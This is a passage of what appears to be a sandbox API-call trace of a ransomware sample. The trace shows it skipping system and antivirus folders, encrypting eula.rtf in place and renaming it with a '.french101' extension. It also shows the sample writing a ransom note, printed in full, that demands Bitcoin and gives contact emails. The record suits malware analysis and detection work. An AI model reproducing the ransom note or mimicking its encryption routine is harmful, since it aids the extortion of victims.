GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.466] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.466] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.466] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.467] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.467] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0283.467] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.467] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0283.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0283.467] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.467] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.467] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.467] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0283.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39fd8, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.467] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.467] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.467] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.467] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.467] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.467] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.467] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.468] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.468] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0283.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.469] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0283.469] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.469] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0283.469] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0283.469] SHGetPathFromIDListW (in: pidl=0x6e46a8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.469] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.469] IMalloc:Free (This=0x75e4d000, pv=0x6e46a8) [0283.469] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0283.469] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0283.469] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.469] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.469] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.469] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.470] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.470] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.470] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.470] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.470] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.470] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.470] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.470] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.470] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.470] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.470] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.470] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.470] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.470] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.470] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.470] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.470] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.470] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.470] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.471] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.471] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.471] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0283.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0283.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\я" (normalized: "c:\\588bce7c90097ed212\\3076\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.496] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0283.497] CloseHandle (hObject=0x308) returned 1 [0283.497] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\я" (normalized: "c:\\588bce7c90097ed212\\3076\\я")) returned 1 [0283.498] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0283.498] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.498] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.498] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x20) returned 1 [0283.499] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x18a5 [0283.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.499] SetFilePointer (in: hFile=0x308, lDistanceToMove=6309, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x18a5 [0283.499] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.515] CloseHandle (hObject=0x308) returned 1 [0283.515] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.516] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.516] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x18a6 [0283.516] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.516] SetFilePointer (in: hFile=0x308, lDistanceToMove=6309, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0283.516] SetEndOfFile (hFile=0x308) returned 1 [0283.518] CloseHandle (hObject=0x308) returned 1 [0283.518] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.518] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.518] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0283.518] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.519] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.519] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.519] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0283.519] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.519] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.519] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.520] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0283.520] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.520] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.520] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0283.520] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.520] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.520] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.520] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.520] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.520] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.520] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.520] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x18a5 [0283.520] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.520] SetFilePointer (in: hFile=0x308, lDistanceToMove=6309, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x18a5 [0283.520] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.531] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0283.531] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.531] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.531] CloseHandle (hObject=0x308) returned 1 [0283.532] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\0s92NwdTiFlGhQyyEtdorQ.french101" (normalized: "c:\\588bce7c90097ed212\\3076\\0s92nwdtiflghqyyetdorq.french101")) returned 1 [0283.533] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\0s92NwdTiFlGhQyyEtdorQ.french101" (normalized: "c:\\588bce7c90097ed212\\3076\\0s92nwdtiflghqyyetdorq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.533] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.533] CloseHandle (hObject=0x308) returned 1 [0283.533] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\0s92NwdTiFlGhQyyEtdorQ.french101", dwFileAttributes=0x80) returned 1 [0283.533] CloseHandle (hObject=0x308) returned 0 [0283.533] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.533] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.533] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.533] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.534] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.534] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.534] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.534] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.534] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.534] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.534] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0283.534] GetLastError () returned 0x2 [0283.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\3076\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.534] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0283.535] CloseHandle (hObject=0x308) returned 1 [0283.535] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.535] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.535] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.535] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.536] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.536] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.536] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.536] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.536] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.536] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.536] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.536] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.537] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: 